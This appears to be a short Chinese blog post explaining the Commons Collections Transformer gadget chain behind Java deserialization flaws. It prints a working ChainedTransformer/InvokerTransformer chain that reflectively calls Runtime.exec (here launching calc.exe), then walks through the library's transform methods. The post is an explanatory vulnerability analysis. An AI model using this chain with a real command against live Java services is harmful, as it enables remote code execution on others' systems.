java反序列化 - Transformer类可以执行恶意代码的原理

java反序列化 - Transformer类可以执行恶意代码的原理

0x00 代码

Transformer[] transformers = new Transformer[]{
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                  new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
          };
          Transformer transformerChain = new ChainedTransformer(transformers);

          ByteArrayOutputStream out = new ByteArrayOutputStream();
          ObjectOutputStream objOut;

        try {
            objOut = new ObjectOutputStream(out);
            objOut.writeObject(transformerChain);

            transformerChain.transform(null);

        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

执行结果：

0x01 Transformer类为什么可以执行恶意代码？

transformerChain.transform(null); 执行的是：ChainedTransformer类的transform方法

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

object = iTransformers[i].transform(object); 执行的是InvokerTransformer类的transform方法

 public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    ｝

通过反射机制调用runtime.class的getMethod方法，继续调用invoke方法生成了一个runtime的对象，最后执行该对象的exec方法，因此造成了反序列化漏洞。
可以参考：
https://blog.51cto.com/13770310/2159962 的0x03 补充